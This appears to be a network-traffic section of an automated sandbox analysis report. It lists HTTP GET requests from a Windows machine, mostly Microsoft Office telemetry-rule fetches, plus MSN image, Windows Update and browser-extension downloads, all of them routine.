Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=luUdgOWlKypfoA7&MD=6dnX9G7X HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733415879&P2=404&P3=2&P4=dy0dPC2uR8BdJaO7pHDD1hzMosl0%2fh1tw7CaLBeP5CLG1laWPDVqLnYD7UA%2feJofKO1K6E822R76GTI6SdOwoQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ne/bXl5/91fWMUYqDJrhXkSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
